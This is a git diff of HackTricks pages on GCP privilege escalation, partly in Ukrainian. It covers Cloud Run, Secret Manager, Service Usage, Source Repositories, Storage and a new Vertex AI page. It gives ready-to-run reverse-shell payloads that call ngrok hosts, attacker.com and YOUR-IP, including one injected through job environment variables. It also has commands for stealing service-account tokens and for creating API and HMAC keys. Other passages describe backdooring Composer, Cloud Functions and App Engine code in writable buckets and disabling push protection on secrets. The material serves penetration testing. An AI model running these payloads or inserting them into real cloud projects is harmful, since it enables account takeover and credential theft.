+ ## Посилання - [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md index 5d8c0a2d9..989f1feb2 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md @@ -4,7 +4,7 @@ ## Cloud Run -Для отримання додаткової інформації про Cloud Run дивіться: +Детальніше про Cloud Run див.: {{#ref}} ../gcp-services/gcp-cloud-run-enum.md @@ -12,15 +12,18 @@ ### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`** -Зловмисник з цими дозволами може **створити службу запуску, що виконує довільний код** (довільний контейнер Docker), прикріпити до неї обліковий запис служби та змусити код **екстрагувати токен облікового запису служби з метаданих**. +Атакуючий з такими правами може **створити сервіс Cloud Run, який запускає довільний код** (довільний Docker container), приєднати до нього Service Account і змусити код **exfiltrate токен Service Account з metadata**. -Скрипт експлуатації для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py), а образ Docker можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage). +Скрипт експлуатації для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py), а Docker image — [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage). -Зверніть увагу, що при використанні `gcloud run deploy` замість просто створення служби **потрібен дозвіл `update`**. Перевірте [**приклад тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh). +Зауважте, що при використанні `gcloud run deploy` замість простого створення сервісу **потрібен дозвіл `update`**. Див. [**приклад тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh). ### `run.services.update` , `iam.serviceAccounts.actAs` -Як і попередній, але для оновлення служби: +Схоже на попередній, але для оновлення сервісу: + +
+Розгорнути сервіс Cloud Run з reverse shell ```bash # Launch some web server to listen in port 80 so the service works echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64 @@ -36,13 +39,18 @@ gcloud run deploy hacked \ # If you don't have permissions to use "--allow-unauthenticated", dont use it ``` +
+ ### `run.services.setIamPolicy` -Надайте собі попередні дозволи на cloud Run. +Надайте собі привілейовані дозволи для cloud Run. ### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`) -Запустіть завдання з реверс-шеллом, щоб вкрасти обліковий запис служби, вказаний у команді. Ви можете знайти [**експлойт тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh). +Запустіть job з reverse shell, щоб викрасти сервісний акаунт, вказаний у команді. Ви можете знайти [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh). + +
+Створити Cloud Run job з reverse shell ```bash gcloud beta run jobs create jab-cloudrun-3326 \ --image=ubuntu:latest \ @@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \ --region=us-central1 ``` +
+ ### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`) -Схоже на попереднє, можливо **оновити роботу та оновити SA**, **команду** та **виконати її**: +Подібно до попереднього, можна **оновити job і оновити SA**, **змінити команду** та виконати її: + +
+Update Cloud Run job and execute with reverse shell ```bash gcloud beta run jobs update hacked \ --image=mubuntu:latest \ @@ -64,16 +77,23 @@ gcloud beta run jobs update hacked \ --region=us-central1 \ --execute-now ``` +
+ ### `run.jobs.setIamPolicy` -Надайте собі попередні дозволи на Cloud Jobs. +Надайте собі попередні дозволи для Cloud Jobs. ### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`) -Зловживайте змінними середовища виконання завдання, щоб виконати довільний код і отримати зворотне з'єднання для вивантаження вмісту контейнера (джерельний код) та доступу до SA всередині метаданих: +Зловживайте env variables під час виконання job, щоб виконати довільний код і отримати reverse shell для вивантаження вмісту container (source code) та доступу до SA у metadata: + +
+Виконати Cloud Run job з експлуатацією env variables ```bash gcloud beta run jobs execute job-name --region --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s" ``` +
+ ## Посилання - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md index a3e0ebf2e..d31cefead 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md @@ -4,7 +4,7 @@ ## secretmanager -Для отримання додаткової інформації про secretmanager: +Більше інформації про secretmanager: {{#ref}} ../gcp-services/gcp-secrets-manager-enum.md @@ -12,12 +12,16 @@ ### `secretmanager.versions.access` -Це надає вам доступ для читання секретів з менеджера секретів і, можливо, це може допомогти в ескалації привілеїв (залежно від того, яка інформація зберігається в секреті): +Це дає вам доступ для читання секретів із secret manager і, можливо, може допомогти ескалювати privielegs (залежно від того, яка інформація збережена всередині секрету): + +
Отримати версію секрету у відкритому вигляді ```bash # Get clear-text of version 1 of secret: "" gcloud secrets versions access 1 --secret="" ``` -Оскільки це також техніка після експлуатації, її можна знайти в: +
+ +Оскільки це також post exploitation technique, його можна знайти в: {{#ref}} ../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md @@ -25,10 +29,14 @@ gcloud secrets versions access 1 --secret="" ### `secretmanager.secrets.setIamPolicy` -Це надає вам доступ до читання секретів з менеджера секретів, наприклад, використовуючи: +Це дає вам доступ для читання секретів із secret manager, наприклад, використовуючи: + +
Add IAM policy binding to secret ```bash gcloud secrets add-iam-policy-binding \ --member="serviceAccount:@$PROJECT_ID.iam.gserviceaccount.com" \ --role="roles/secretmanager.secretAccessor" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md index 790fb380b..4fd9013be 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md @@ -4,11 +4,11 @@ ## serviceusage -Наступні дозволи корисні для створення та викрадення API ключів, зверніть увагу на це з документації: _API ключ - це простий зашифрований рядок, який **ідентифікує додаток без будь-якого принципала**. Вони корисні для доступу до **публічних даних анонімно** і використовуються для **асоціювання** API запитів з вашим проектом для квоти та **білінгу**._ +Наступні дозволи корисні для створення та крадіжки API keys, зауважте витяг з документації: _API key — це простий зашифрований рядок, який **ідентифікує додаток без будь-якого principal**. Вони корисні для доступу до **public data anonymously**, і використовуються для **associate** API-запитів з вашим проектом для quota та **billing**._ -Отже, з API ключем ви можете змусити компанію платити за ваше використання API, але ви не зможете підвищити привілеї. +Отже, з API key ви можете змусити цю компанію оплатити ваше використання API, але ви не зможете escalate privileges. -Щоб дізнатися про інші дозволи та способи генерації API ключів, перевірте: +Щоб дізнатися про інші дозволи та способи генерації API keys, див.: {{#ref}} gcp-apikeys-privesc.md @@ -16,19 +16,27 @@ gcp-apikeys-privesc.md ### `serviceusage.apiKeys.create` -Був знайдений не задокументований API, який можна використовувати для **створення API ключів:** +Було знайдено недокументоване API, яке можна використати для **створення API keys:** + +
Створити API key за допомогою недокументованого API ```bash curl -XPOST "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)" ``` +
+ ### `serviceusage.apiKeys.list` -Було знайдено ще один не задокументований API для переліку API ключів, які вже були створені (API ключі з'являються у відповіді): +Було виявлено ще один недокументований API для переліку API keys, які вже створено (API keys присутні у відповіді): + +
Перелік API keys за допомогою недокументованого API ```bash curl "https://apikeys.clients6.google.com/v1/projects//apiKeys?access_token=$(gcloud auth print-access-token)" ``` +
+ ### **`serviceusage.services.enable`** , **`serviceusage.services.use`** -З цими дозволами зловмисник може активувати та використовувати нові сервіси в проекті. Це може дозволити **зловмиснику активувати сервіси, такі як admin або cloudidentity**, щоб спробувати отримати доступ до інформації Workspace або інших сервісів для доступу до цікавих даних. +З цими дозволами attacker може ввімкнути та використовувати нові сервіси в проєкті. Це може дозволити **attacker увімкнути сервіси на кшталт admin або cloudidentity**, щоб спробувати отримати доступ до інформації Workspace або через інші сервіси отримати доступ до цікавих даних. ## **References** @@ -36,15 +44,15 @@ curl "https://apikeys.clients6.google.com/v1/projects//apiKey
-Support HackTricks and get benefits! +Підтримайте HackTricks та отримайте переваги! -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +Ви працюєте в **cybersecurity company**? Хочете, щоб ваша **company advertised in HackTricks**? Або бажаєте мати доступ до **latest version of the PEASS or download HackTricks in PDF**? Перегляньте [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +Дізнайтесь про [**The PEASS Family**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFTs**](https://opensea.io/collection/the-peass-family) -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +Придбайте [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +**Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) або до [**telegram group**](https://t.me/peass) або **підписуйтесь** на мене в **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\* diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md index 0e95c7386..f9714ab12 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Репозиторії джерел +## Source Repositories -Для отримання додаткової інформації про репозиторії джерел перегляньте: +Для отримання додаткової інформації про Source Repositories дивіться: {{#ref}} ../gcp-services/gcp-source-repositories-enum.md @@ -13,67 +13,79 @@ ### `source.repos.get` З цим дозволом можна завантажити репозиторій локально: + +
Клонувати репозиторій ```bash gcloud source repos clone --project= ``` +
+ ### `source.repos.update` -Принципал з цим дозволом **зможе писати код всередині репозиторію, скопійованого за допомогою `gcloud source repos clone `**. Але зверніть увагу, що це дозволення не може бути прикріплене до користувацьких ролей, тому його потрібно надати через попередньо визначену роль, таку як: +Принципал з цим дозволом **зможе записувати код всередині репозиторію, клонованого за допомогою `gcloud source repos clone `**. Зауважте, що цей дозвіл не можна прикріпити до custom roles, тому його потрібно надати через одну з predefined ролей, наприклад: -- Власник -- Редактор -- Адміністратор репозиторію джерел (`roles/source.admin`) -- Автор репозиторію джерел (`roles/source.writer`) +- Owner +- Editor +- Source Repository Administrator (`roles/source.admin`) +- Source Repository Writer (`roles/source.writer`) -Щоб написати, просто виконайте звичайний **`git push`**. +Щоб записати — просто виконайте звичайний **`git push`**. ### `source.repos.setIamPolicy` -З цим дозволом зловмисник може надати собі попередні дозволи. +Маючи цей дозвіл, зловмисник може призначити собі попередні дозволи. -### Доступ до секретів +### Secret access -Якщо зловмисник має **доступ до секретів**, де зберігаються токени, він зможе їх вкрасти. Для отримання додаткової інформації про те, як отримати доступ до секрету, перевірте: +Якщо зловмисник має **доступ до секретів**, де зберігаються токени, він зможе їх викрасти. Для додаткової інформації про те, як отримати доступ до секрету, див.: {{#ref}} gcp-secretmanager-privesc.md {{#endref}} -### Додати SSH ключі +### Add SSH keys -Можливо **додати ssh ключі до проекту репозиторію джерел** у веб-консолі. Це робить POST запит до **`/v1/sshKeys:add`** і може бути налаштовано за адресою [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) +У веб-консолі можна **додати ssh keys до проекту Source Repository**. Це робить POST-запит до **`/v1/sshKeys:add`** і налаштовується на [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) -Як тільки ваш ssh ключ налаштовано, ви можете отримати доступ до репозиторію за допомогою: +Після додавання ssh-ключа ви зможете отримати доступ до репозиторію за допомогою: + +
Клонувати репозиторій через SSH ```bash git clone ssh://username@domain.com@source.developers.google.com:2022/p//r/ ``` -І тоді використовуйте **`git`** команди, як зазвичай. +
+ +А потім використовувати **`git`** команди як зазвичай. ### Ручні облікові дані -Можливо створити ручні облікові дані для доступу до Source Repositories: +Можна створити ручні облікові дані для доступу до Source Repositories:
-Натискаючи на перше посилання, ви перейдете на [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) +Натискання на перше посилання перенаправить вас на [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) -Це викличе **Oauth авторизаційний запит** для надання доступу до **Google Cloud Development**. Тому вам знадобляться або **облікові дані користувача**, або **відкрита сесія в браузері** для цього. +Це викличе **Oauth authorization prompt** для надання доступу до **Google Cloud Development**. Тому вам знадобляться або **credentials of the user**, або **відкрита сесія в браузері**. -Це перенаправить вас на сторінку з **bash-скриптом для виконання** та налаштування git cookie в **`$HOME/.gitcookies`** +Це перенаправить вас на сторінку зі **bash script to execute** та налаштуванням git cookie в **`$HOME/.gitcookies`**
-Виконавши скрипт, ви зможете використовувати git clone, push... і це буде працювати. +Виконавши скрипт, ви зможете використовувати git clone, push... і це працюватиме. ### `source.repos.updateProjectConfig` -З цим дозволом можливо вимкнути стандартний захист Source Repositories, щоб не завантажувати код, що містить приватні ключі: +За наявності цього дозволу можна відключити стандартний захист Source Repositories, який забороняє завантаження коду, що містить Private Keys: + +
Disable pushblock and modify pub/sub configuration ```bash gcloud source project-configs update --disable-pushblock ``` -Ви також можете налаштувати іншу тему pub/sub або навіть повністю її вимкнути: +Ви також можете налаштувати іншу тему pub/sub або навіть повністю вимкнути її: ```bash gcloud source project-configs update --remove-topic=REMOVE_TOPIC gcloud source project-configs update --remove-topic=UPDATE_TOPIC ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md index 472f9735a..6c47695fe 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md @@ -4,7 +4,7 @@ ## Storage -Основна інформація: +Basic Information: {{#ref}} ../gcp-services/gcp-storage-enum.md @@ -12,18 +12,18 @@ ### `storage.objects.get` -Ця дозволяє вам **завантажувати файли, збережені в Cloud Storage**. Це потенційно дозволить вам підвищити привілеї, оскільки в деяких випадках **чутлива інформація зберігається там**. Більше того, деякі сервіси GCP зберігають свою інформацію в бакетах: +Цей дозвіл дозволяє вам **завантажувати файли, збережені в Cloud Storage**. Це може дозволити підвищити привілеї, оскільки в деяких випадках **там зберігається конфіденційна інформація**. Крім того, деякі сервіси GCP зберігають свої дані в buckets: -- **GCP Composer**: Коли ви створюєте середовище Composer, **код усіх DAG** буде збережено в **бакеті**. Ці завдання можуть містити цікаву інформацію в своєму коді. -- **GCR (Container Registry)**: **Зображення** контейнерів зберігаються в **бакетах**, що означає, що якщо ви можете читати бакети, ви зможете завантажити зображення та **шукати витоки та/або вихідний код**. +- **GCP Composer**: коли ви створюєте Composer Environment, **код усіх DAGs** буде збережений в **bucket**. У цих задачах може бути ціла купа цікавої інформації. +- **GCR (Container Registry)**: **image** контейнерів зберігаються в **buckets**, отже якщо ви можете читати ці buckets — ви зможете завантажити образи та **шукати leaks і/або вихідний код**. ### `storage.objects.setIamPolicy` -Ви можете надати собі дозвіл на **зловживання будь-яким з попередніх сценаріїв цього розділу**. +Цей дозвіл дає змогу вам **зловживати будь-якими попередніми сценаріями цього розділу**. ### **`storage.buckets.setIamPolicy`** -Для прикладу, як змінити дозволи з цим дозволом, перегляньте цю сторінку: +Приклад того, як змінювати права за допомогою цього дозволу, дивіться на цій сторінці: {{#ref}} ../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md @@ -31,7 +31,9 @@ ### `storage.hmacKeys.create` -Функція "інтероперабельності" Cloud Storage, розроблена для **взаємодії між хмарами**, такими як AWS S3, передбачає **створення HMAC-ключів для облікових записів служб і користувачів**. Зловмисник може скористатися цим, **генеруючи HMAC-ключ для облікового запису служби з підвищеними привілеями**, таким чином **підвищуючи привілеї в Cloud Storage**. Хоча HMAC-ключі, пов'язані з користувачами, можна отримати лише через веб-консоль, як доступні, так і секретні ключі залишаються **постійно доступними**, що дозволяє потенційно зберігати резервні копії доступу. У свою чергу, HMAC-ключі, пов'язані з обліковими записами служб, доступні через API, але їх доступні та секретні ключі не можна отримати після створення, що додає рівень складності для безперервного доступу. +Функція "interoperability" в Cloud Storage, призначена для **cross-cloud interactions** (наприклад з AWS S3), передбачає **створення HMAC keys для Service Accounts та користувачів**. Атакуючий може скористатися цим, **згенерувавши HMAC key для Service Account з підвищеними привілеями**, що дозволяє **escalate privileges всередині Cloud Storage**. У той час як HMAC keys, прив'язані до користувачів, можна отримати тільки через web console, їхні ключі доступу та секретні ключі залишаються **постійно доступними**, що дозволяє зберігати резервний доступ. Натомість HMAC keys, пов'язані з Service Account, доступні через API, але їхні access та secret ключі не можна отримати після створення, що ускладнює підтримку постійного доступу. + +
Створення та використання HMAC key для privilege escalation ```bash # Create key gsutil hmac create # You might need to execute this inside a VM instance @@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME] # Restore gcloud config set pass_credentials_to_gsutil true ``` -Ще один скрипт експлуатації для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). +
-## `storage.objects.create`, `storage.objects.delete` = Права на запис у сховище +Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). -Щоб **створити новий об'єкт** у бакеті, вам потрібні `storage.objects.create`, а відповідно до [документації](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), вам також потрібні `storage.objects.delete`, щоб **модифікувати** існуючий об'єкт. +### `storage.objects.create`, `storage.objects.delete` = Права запису в Storage -Дуже **поширена експлуатація** бакетів, в які можна записувати в хмарі, відбувається у випадку, якщо **бакет зберігає файли веб-сервера**, ви можете бути в змозі **зберегти новий код**, який буде використовуватися веб-додатком. +In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object. + +A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application. ### Composer -**Composer** - це **Apache Airflow**, керований у GCP. Він має кілька цікавих функцій: +**Composer** is **Apache Airflow** managed inside GCP. It has several interesting features: -- Він працює всередині **GKE кластера**, тому **SA, який використовує кластер, доступний** коду, що виконується всередині Composer -- Усі компоненти середовища композера (**код DAGs**, плагіни та дані) зберігаються всередині бакета GCP. Якщо зловмисник має права на читання та запис, він може моніторити бакет і **коли DAG створюється або оновлюється, подати версію з бекдором**, щоб середовище композера отримало зберігання версію з бекдором. +- It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer +- All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version. -**Ви можете знайти PoC цієї атаки в репозиторії:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs) +**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs) ### Cloud Functions -- Код Cloud Functions зберігається в Storage, і коли створюється нова версія, код надсилається до бакета, а потім новий контейнер створюється з цього коду. Тому, **перезаписуючи код перед створенням нової версії, можна змусити хмарну функцію виконувати довільний код**. +- Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**. -**Ви можете знайти PoC цієї атаки в репозиторії:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions) +**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions) ### App Engine -Версії AppEngine генерують деякі дані всередині бакета у форматі назви: `staging..appspot.com`. Всередині цього бакета можна знайти папку під назвою `ae`, яка міститиме папку для кожної версії програми AppEngine, а всередині цих папок можна знайти файл `manifest.json`. Цей файл містить json з усіма файлами, які повинні бути використані для створення конкретної версії. Більше того, можна знайти **реальні назви файлів, URL до них всередині бакета GCP (файли всередині бакета змінили свої назви на їх sha1 хеш) та sha1 хеш кожного файлу.** +AppEngine versions generate some data inside a bucket with the format name: `staging..appspot.com`. Inside this bucket, it's possible to find a folder called `ae` that will contain a folder per version of the AppEngine app and inside these folders it'll be possible to find the `manifest.json` file. This file contains a json with all the files that must be used to create the specific version. Moreover, it's possible to find the **real names of the files, the URL to them inside the GCP bucket (the files inside the bucket changed their name for their sha1 hash) and the sha1 hash of each file.** -_Зверніть увагу, що неможливо попередньо захопити цей бакет, оскільки користувачі GCP не мають права генерувати бакети, використовуючи доменне ім'я appspot.com._ +_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._ -Однак, з правами на читання та запис у цьому бакеті, можна ескалувати привілеї до SA, прикріпленого до версії App Engine, моніторячи бакет і будь-який раз, коли вносяться зміни (нова версія), модифікувати нову версію якомога швидше. Таким чином, контейнер, який створюється з цього коду, виконає код з бекдором. +However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the App Engine version by monitoring the bucket and any time a change is performed (new version), modify the new version as fast as possible. This way, the container that gets created from this code will execute the backdoored code. -Зазначену атаку можна виконати багатьма різними способами, всі вони починаються з моніторингу бакета `staging..appspot.com`: +The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging..appspot.com` bucket: -- Завантажте повний новий код версії AppEngine до іншого доступного бакета та підготуйте **`manifest.json` файл з новим ім'ям бакета та sha1 хешами**. Тоді, коли нова версія створюється всередині бакета, вам просто потрібно модифікувати файл `manifest.json` і завантажити шкідливий. -- Завантажте модифіковану версію `requirements.txt`, яка використовуватиме **код шкідливих залежностей і оновить файл `manifest.json`** з новим ім'ям файлу, URL та його хешем. -- Завантажте **модифікований файл `main.py` або `app.yaml`, який виконуватиме шкідливий код** і оновіть файл `manifest.json` з новим ім'ям файлу, URL та його хешем. +- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one. +- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it. +- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it. -**Ви можете знайти PoC цієї атаки в репозиторії:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine) +**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine) ### GCR -- **Google Container Registry** зберігає зображення всередині бакетів, якщо ви можете **записувати в ці бакети**, ви можете бути в змозі **переміститися вбік до того, де ці бакети виконуються.** -- Бакет, що використовується GCR, матиме URL, подібний до `gs://.artifacts..appspot.com` (Верхні піддомени вказані [тут](https://cloud.google.com/container-registry/docs/pushing-and-pulling)). +- **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.** +- The bucket used by GCR will have an URL similar to `gs://.artifacts..appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)). > [!TIP] -> Ця служба застаріла, тому ця атака більше не є корисною. Більше того, Artifact Registry, служба, яка замінює цю, не зберігає зображення в бакетах. +> Ця служба застаріла, тому цей вектор атаки вже неактуальний. Крім того, Artifact Registry, сервіс який замінив її, не зберігає образи в бакетах. -## **Посилання** +## **References** - [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md new file mode 100644 index 000000000..18b246462 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -0,0 +1,719 @@ +# GCP - Vertex AI Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI + +Для отримання додаткової інформації про Vertex AI перегляньте: + +{{#ref}} +../gcp-services/gcp-vertex-ai-enum.md +{{#endref}} + +### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` + +Маючи дозвіл `aiplatform.customJobs.create` та `iam.serviceAccounts.actAs` на цільовому service account, зловмисник може **execute arbitrary code with elevated privileges**. + +Це працює шляхом створення custom training job, який запускає код, контрольований зловмисником (або custom container, або Python package). Вказавши привілейований service account через прапорець `--service-account`, job успадковує permissions цього service account. Job виконується на інфраструктурі, керованій Google, з доступом до GCP metadata service, що дозволяє витягти OAuth access token цього service account. + +**Вплив**: Full privilege escalation to the target service account's permissions. + +
+ +Створити custom job з reverse shell +```bash +# Method 1: Reverse shell to attacker-controlled server (most direct access) +gcloud ai custom-jobs create \ +--region= \ +--display-name=revshell-job \ +--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ +--command=sh \ +--args=-c,"curl http://attacker.com" \ +--service-account=@.iam.gserviceaccount.com + +# On your attacker machine, start a listener first: +# nc -lvnp 4444 +# Once connected, you can extract the token with: +# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token + +# Method 2: Python reverse shell (if bash reverse shell is blocked) +gcloud ai custom-jobs create \ +--region= \ +--display-name=revshell-job \ +--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ +--command=sh \ +--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \ +--service-account=@.iam.gserviceaccount.com +``` +
+ +
